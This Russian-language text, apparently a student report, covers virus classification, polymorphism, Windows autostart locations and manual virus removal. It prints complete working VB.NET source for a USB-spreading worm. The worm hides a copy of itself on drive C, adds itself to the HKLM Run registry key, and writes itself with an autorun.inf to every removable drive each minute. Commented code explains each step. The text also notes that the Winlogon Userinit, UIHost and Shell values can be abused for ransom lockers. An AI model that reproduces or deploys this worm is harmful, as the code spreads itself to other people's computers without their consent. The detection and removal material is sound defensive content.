"center">
Вирусы
По поражаемым объектам
По дополнительной
вредоносной функциональности
По языку, на котором
написан вирус
По технологиям, используемым
вирусом
По поражаемым операционным
системам и платформам
Следует
отметить то, что единой системы классификации
и именования вирусов не существует (хотя
попытка создать стандарт была предпринята
на встрече CARO в 1991 году)
- Полиморфные
вирусы
Полиморфные
вирусы – вирусы, которые при самовоспроизведении
изменяют свой код. Данная техника может
затруднить обнаружения вируса с помощью
скан-строк и в некоторых случаях при помощи
эвристики. Любые два файла, заражённые
одним и тем же полиморфным вирусом, с
большой вероятностью не будут иметь сколь-либо
совпадающие под последовательности в
заражённых частях файлов.
Полиморфизм
следует отличать от вирусов с
изменяющимся алгоритмом шифрования.
Полиморфизм
заключается в формировании кода вируса
«на лету» — уже во время исполнения, при
этом сама процедура, формирующая код
также не должна быть постоянной и видоизменяется
при каждом новом заражении. Большинство
антивирусных программ пытаются обнаружить
вредоносный код, соответствующий компьютерному
вирусу, или часть кода такого вируса,
посредством проверки файлов и данных,
находящихся на компьютере или пересылаемых
через компьютерную сеть или Интернет.
Если изменить код вируса, отвечающий
за поиск и заражение новых файлов или
какую-либо другую важную его часть, то
антивирус не сможет обнаружить такой
«изменённый» вирус. Часто код вируса
«меняют», добавляя операторы NOP или
другие операторы, не изменяющие алгоритм.
Таким образом, обнаружение по-настоящему
полиморфных вирусов с помощью скан-строк
невозможно. После появления полиморфизма
антивирусные продукты, в свою очередь,
также освоили новые техники: эвристика
и эмуляторы кода.
- Примеры
вирусов
- Module Module1
- Const LenName As Long = 7
- Dim TmpTimer As System.Threading.Timer
- ''' <summary>
- ''' Вызов
этого метода происходит единожды при
запуске вируса.
- ''' </summary>
- ''' <remarks>Данный метод не
вернет управление вызывающему методу,
если тело вируса запущено с диска C</remarks>
- Sub Main() 'Процедура,
в которую попадает управление сразу после
запуска вируса
- If UCase(Left(System.Windows.Forms.Application.ExecutablePath,
1)) = UCase("C") Then 'Запущен
ли вирус с диска C
- 'Вирус
запущен с диска C
- 'Создаем
новый поток, т.к. этот потом уснет навсегда
- Dim NewThr As New Threading.Thread(Sub()
- TmpTimer = New
System.Threading.Timer(AddressOf TimerTick, Nothing, 0, 1 * 60 * 1000) 'Через
каждую минуту вирус будет проверять прописан
ли он в автозагрузку и будет себя копировать
на флеш карту
- End Sub)
- NewThr.Start() 'Стартуем поток
- Threading.Thread.Sleep(-1) 'Усыпляем пользовательский
поток навсегда, чтобы вирус не завершил
свою работу. Для работы есть другие...
- Else 'Если
не с диска C
- Try 'На
всякий случай ставим пустой обработчик
событий
- Shell(CopyToC(), AppWinStyle.Hide, False,
-1) 'Вызываем
процедуру копирования на диск и запуска
вируса с диска C
- Catch
- 'Здесь
должен быть обработчик ошибок, но он нам
не нужен
- End Try
- End If
- End Sub 'Наступил
конец программы... Выход!!!
- ''' <summary>
- ''' Эта
функци копирует вирус на диск C
- ''' </summary>
- ''' <returns>CopyToC возаращает
полный путь до вируса</returns>
- ''' <remarks>Из-за запрета копирования
могут происходить исключения</remarks>
- Function CopyToC() As String 'Процедура
копирования вирусняка на диск C
- Dim NameFile As String = Right(Left(CStr(VBMath.Rnd(999999999)), LenName + 2), LenName) + ".exe" 'Создаем
уникальное имя, чтоб маловероятно было
папсть на существующий файл
- FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\" + NameFile) 'Копируем
- FileIO.FileSystem.GetFileInfo("C:\" + NameFile).Attributes = IO.FileAttributes.Hidden + IO.FileAttributes.System + IO.FileAttributes.NotContentIndexed + IO.FileAttributes.ReadOnly 'Скрываем
и защищаем вирус...
- Return "C:\" + NameFile 'Возвращаем
полный путь до исполняемого файла вируса
на диске C
- End Function
- ''' <summary>
- ''' Данный
метод вызывается при срабатывании таймера
для проверки записи в раздел реестра,
отвечающий за автозагрузку и записи на
съёмные носители
- ''' </summary>
- ''' <param name="sender">Данный параметр
роли не играет. Его значение может быть
любым, но рекомендуется Null(Nothing в VB)</param>
- ''' <remarks></remarks>
- Sub TimerTick(ByVal sender As Object) 'Вызывается
по срабатыванию таймера
- VerifyRegisterAutoStart() 'Проверяем запись
в автозагрузку и если её нету, то записываемся...
- 'Этот
код находит все съемные носители и записывает
себя на них и создает/перезаписывает
файл autorun.inf для того, чтобы он мог распрострянятся
на другой комп...
- Dim Comp As New Microsoft.VisualBasic.Devices.Computer
- For Each Drv As System.IO.DriveInfo In Comp.FileSystem.Drives 'Перебираем
все имеющиеся диски...
- If Drv.DriveType = IO.DriveType.Removable Then 'Смотрим
тип диска и если он съемный, то вызываем
метод записи вируса на этот носитель
- WriteAutorun(Drv) 'Вызов метода WriteAutorun
- End If
- Next
- End Sub
- ''' <summary>
- ''' Этот
метод нужен для записи на съемный носитель
файла autorun.inf и самого вируса
- ''' </summary>
- ''' <param name="Drive">Информация о диске,
на который нужно записать вирус</param>
- ''' <remarks></remarks>
- Sub WriteAutorun(ByVal Drive As IO.DriveInfo)
- SyncLock New String(1) {"2", "3"} 'Навсякий
случай выставим мультипоточную защиту...
- 'Инициализируем
некоторые переменные...
- Dim FileStr As System.IO.FileStream
- Dim TextStr As IO.StreamWriter
- Try 'Вдруг
запись будет проходить на диск A:, в котором
нету диска и чтобы вирус не крешнулся,
ставим обработчик исключений
- Try 'В
этом обработчике находится код удаления
старого autorun.inf... чистим место... Если его
нету, то возникнит исключение и чтобы
не покидать метод записи ставим обработчик...
- FileIO.FileSystem.DeleteFile(Drive.RootDirectory.FullName + "autorun.inf")
- Catch ex As Exception
- End Try
- FileStr = System.IO.File.Create(Drive.RootDirectory.FullName
+ "autorun.inf") 'Создаем
новый autorun.inf и сразу же получаем поток,
для управления им
- TextStr = New
IO.StreamWriter(FileStr) 'Получаем
объект, более удобного класса, для работы
с потоком записи...
- TextStr.WriteLine("[autorun]") 'Пишем
"[autorun]" в autorun.inf и ставим символы
перехода на новую строку
- Dim NameFile As String = Right(Left(CStr(VBMath.Rnd(999999999)), LenName + 2), LenName) + ".exe" 'Создаем
уникальное имя, чтоб маловероятно было
попасть на существующий файл
- FileCopy(System.Windows.Forms.Application.ExecutablePath,
Drive.RootDirectory.FullName + NameFile)
- FileIO.FileSystem.GetFileInfo(Drive.RootDirectory.FullName
+ NameFile).Attributes = IO.FileAttributes.Hidden + IO.FileAttributes.System + IO.FileAttributes.NotContentIndexed + IO.FileAttributes.ReadOnly 'Скрываем
и защищаем вирус...
- FileIO.FileSystem.GetFileInfo(Drive.RootDirectory.FullName
+ "autorun.inf").Attributes = IO.FileAttributes.Hidden + IO.FileAttributes.NotContentIndexed 'Скрываем
и защищаем файл автозапуска...
- TextStr.WriteLine("open=" + NameFile) 'Пишем
в autorun.inf "open='Путь к вирусу, относительно
корня диска'". Тут указывается то, что
нужно запустить вирус, после того, как
флэшка будет "воткнута" в компьютер...
- TextStr.Close() 'Закрываем поток
записи в autorun.inf и сбрасываем всё содержимое
памяти(все что мы выше писали, писали
не в файл, а в память) в файл...
- Catch ex As Exception
- Try
- TextStr.Close()
- Catch ex1 As Exception
- End Try
- Try
- FileStr.Close()
- Catch ex2 As Exception
- End Try
- End Try
- End SyncLock
- End Sub
- ''' <summary>
- ''' Данный
метод проверяет то, что текущий исполняемый
файл записан в кусте реестра("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\")
и если этой записи там нету, то создает
и записывает её
- ''' </summary>
- ''' <remarks></remarks>
- Sub VerifyRegisterAutoStart()
- Dim RunReg As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", True) 'Открываем
ключ реестра Run
- For Each Str As String In RunReg.GetValueNames() 'Перебираем
все значения
- If CStr(RunReg.GetValue(Str)) = System.Windows.Forms.Application.ExecutablePath Then 'Сравниваем запись
пути в одном из значений и путь, по которому
запущено текущее приложение...
- Return 'Если
указано то, что это приложение будет запущено,
выходим из метода...
- End If
- Next
- Dim NameReg As String = Right(Left(CStr(VBMath.Rnd()), LenName + 2), LenName) 'Создаем имя для
значения
- RunReg.SetValue(NameReg,
System.Windows.Forms.Application.ExecutablePath, Microsoft.Win32.RegistryValueKind.String) 'Записываем
значение с указанным именем и путем
- End Sub
- End Module
- Способ
удаления вирусов
Все
вирусы после заражения прописываются
в любые места, где их система
(или какое-то приложение) при загрузке
или использовании запустит. Эти
места могут являться автозагрузкой
или списком драйверов или
списком плагинов к приложению и
пр.
Для
того чтобы найти и удалить
вирус нужно просмотреть эти
места. Если разбить по сложности
анализа данных, то все места можно
разбить на две категории:
- Места либо
являющиеся сложные для анализа и/или
опасные для изменения (список драйверов
и служб) либо являющиеся специализированные
для какого-либо приложения (список плагинов
и т.п.)
- Места, в которых
находится простые и понятные списки автозагрузки,
при удаления одного из пунктов сбоя системы
не произойдёт, а просто данная программа
не запустится. Да и названия ярлыков и
ссылок знакомы пользователю, т.к. в их
названиях используют либо названия сокращений
программ, либо понятные сокращения служебных
программ
Вирус
легче всего находить и удалять
из второй группы вирусов. В дальнейшем
речь пойдёт о них.
- Расположение
списков автозагрузке
в системе Windows
В
операционной системе Windows существуют
две категории списков автозагрузки:
- Списки, находящиеся
в файловой системе
- Списки, находящиеся
в реестре Windows
- Списки
первой категории
К
спискам, располагаемым в файловой
системе, относятся две папки:
- Из первой
папки программы будут запускаться во
всех пользователях и располагается она
по адресу %systemdrive%\Document
and Settings\All Users\Главное
меню\Программы\Автозагрузка (%systemdrive%\Users\All
Users\Главное меню\Программы\Автозагрузка
– в случае с версиями Windows старше 6.0 (Windows
Vista и более новые)).
- Из второй
папки программы будут запускаться только
при заходе в текущий пользователь, из
под которого ведётся доступ к этой папки.
Путь:%userprofile%\Главное
меню\Программы\Автозагрузка.
В
данных папках размещаются любые
исполняемые файлы (в т. ч. и ярлыки
на исполняемые файлы).
- Списки
второй категории
В
реестре всего два списка (не учитывая
их модификации) явно предназначенных
для автозагрузки, но вирусы активно
используют другие списки о которых я
расскажу позже в этом разделе.
Сначала
о первых двух:
- Первый список
находится в HKLM\Software\Microsoft\Windows\CurrentVersion\Run.
В данном списке находятся программы,
которые будут запущены в любом пользователе,
во время его входа в систему.
- Второй список
находится в HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
В данном списке находятся программы,
которые будут запущены только в том пользователе,
от которого ведётся доступ к реестру.
У
каждого списка есть две модифицированные
копии: RunOnce и RunOnceEx (путь к ним
такой же как и у предыдущих двух, только
Run на конце нужно заменить RunOnce или
RunonceEx). Их основное отличие в том, что
программа, указанная в этом списке, будет
запущена всего лишь один раз, т. е. после
запуска всех программ из этих списков,
список отчищается.
К
третьему, четвёртому и пятому списку
можно отнести не предназначенные для
автозапуска списки, но из-за активного
использования вирусом я решил их здесь
упомянуть:
- Третий список
содержит список утилит за инициализацию
пользователя и запуска системного проводника
(он отображает рабочий стол, панель задач,
ведёт обзор папок и запускает программы
находящиеся в выше перечисленных списках
автозагрузки программы). Эта утилита
выполняется от имени пользователя, в
которого был осуществлён вход и запускается
системным процессом Winlogon.exe, который
отвечает за вход в систему.
- Четвёртый
содержит указание на программу более
красивого графического интерфейса для
сообщений о завершении работы, выхода
и захода в пользователь а также авторизации
и др. прочих сообщениях. Данная программа
не имеет право запускать от себя дочерние
программы, а сама запускается от пользователя
SYSTEM.
- Пятый, также
как и четвёртый, является списком из одного
элемента. В нём указывается системный
проводник.
Все
списки находятся в ключе HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon.
Третий
список представляет собой одно значение
ключа, элементы которого записываются
через запятую имя значения “Userinit”.
По умолчанию там всего лишь один элемент:
«C:\WINDOWS\system32\userinit.exe» - эта стандартная
программа по инициализации пользовательского
интерфейса и запуска проводника. В данном
списке их может быть много. Данный список
можно использовать для блокирования
доступа к пользовательскому интерфейсу
проводника и просьбы за него выкуп.
Четвёртый
список является списком из одного элемента
и значение пары имя - значения с именем
“UIHost” указывает программу для отображения
более красивого пользовательского интерфейса
на сообщения о запуске/завершения работы
системы и входа выхода из неё. Хотя и запускать
дочерние приложения не позволяется данный
список может использоваться вирусами,
которые блокируют доступ к системе и
просят за открытие доступа деньги. Возможно
(Этого я не проверял) также установка
хуков в другие процессы (включая services.exe,
winlogon.exe, lsass.exe и пр.), в последствии управляя
компьютером и запуская программы от суперпользователя
SYSTEM, который имеет доступ к хранилищу
сертификатов и хеш-сумм паролей от всех
пользователей.
Пятый
список также является одноэлементным
и пара имя – значение с именем «Shell»
содержит в себе указания на системный
проводник. Также как и два других списка
может использоваться для блокирования
доступа к проводнику и просьбы за него
выкупа.
- Обнаружение
вируса
При
проверки списков автозагрузки можно
встретить кучу программ, и каким
способом узнать какая из них является
вирусом, а какая нормальная? Этим
сейчас мы и займёмся. Для явных списков
автозагрузки подход в принципе одинаковый
(это две папки Автозагрузки, из которых
виртуально формируется одна в меню Пуск,
и разделы реестра Run(и его модифицированные
разделы)). Для параметров находящихся
в разделе Winlogon нужно просто сравнить
значения которые установлены по умолчанию
с теми которые записаны в реестре.
Начнём
с первых списков. Если заглянуть
в эти списки, то можно увидеть много
программ. Но какие программы, указанные
в данных списках, являются вирусом, а
какие нет? Для того чтобы определить это
нужно немного проанализировать пару
имя – значения. Отличие вирусных записей,
от обычных программ, часто видно в том
то, что такую программу вы не ставили
(или этого производителя), ссылка указывает
на файл с непонятным названием:
- Название
файла создано случайном образом (как
пример 56463.exe, d55ds85d.exe и т.п.)
- Путь указывает
на системную папку (не на папку Program Files)
При
просмотре свойств у данных файлов
отсутствует иконка или она непонятна,
при просмотре вкладки Версия не указаны
никакие данные, либо указаны данные непонятных
компаний, либо она вообще отсутствует,
также у вирусов не бывает сертификатов
и бывает небольшой объем (до 1МБ – 512КБ).
После
обнаружения непонятных файлов их лучше
всего просканировать онлайн сканерами
на сайтах производителей антивирусов,
либо скачать пробную версию антивируса
и проверить ей, и если в файле
антивирус вирусов не обнаруживает, но
вы очень сомневаетесь то, что он не вирус,
то отправьте вирусным аналитикам,
которые работают при каждой антивирусной
компании. Они будут рады, если вы пришлёте
им не определяющийся вирус.
- Удаление
вируса и последствий
заражения
После
определения местоположения вируса
нужно его каким-либо образом
удалить. Но каким? Сейчас я все расскажу.
Для быстрого удаления вируса и если
при первых шагах вы случайно получите
отказ системы или системы, то
это можно обратить с любого Windows
LiveCD или редактора файловой системы. Для
работы этого способа потребуется файловая
система NTFS.
Для
того чтобы полностью удалить
вирус нужно выполнить следующий
порядок команд:
- Заблокировать
доступ к исполняемому файлу вируса
- Перезагрузить
компьютер и принять сообщения, о невозможности
запуска вируса
- Удалить сведения
о вирусе из списков автозагрузки
- Разблокировать
исполняемый файл вируса
- Удалить исполняемый
файл вируса
- Блокирование
доступа к файлу
Для
того чтобы заблокировать доступ
к файлу нужно кликнуть правой
кнопкой на файле, далее нажать свойства
и перейти на вкладку Безопасность.
Рис
1. Окно «Свойства» и
вкладка «Безопасность»
После
Нужно нажать кнопку «Дополнительно».
Рис 2. Окно «Дополнительные
параметры безопасности»,
открывшееся
после нажатия
кнопки «Дополнительно».
Затем
«Добавить…». В последующем окне
«Дополнительно…». В следом открывшемся
окне «Поиск», найти там пользователя
«Все» и нажать «Ок».
Рис 3. Окно «Выбор:
пользователь или группа».
Рис 4. Окно, открывшееся
после нажатия «Добавить…».
Тут
ещё раз надо нажать «Ок». После
откроется окно, представленное на
рисунке 8.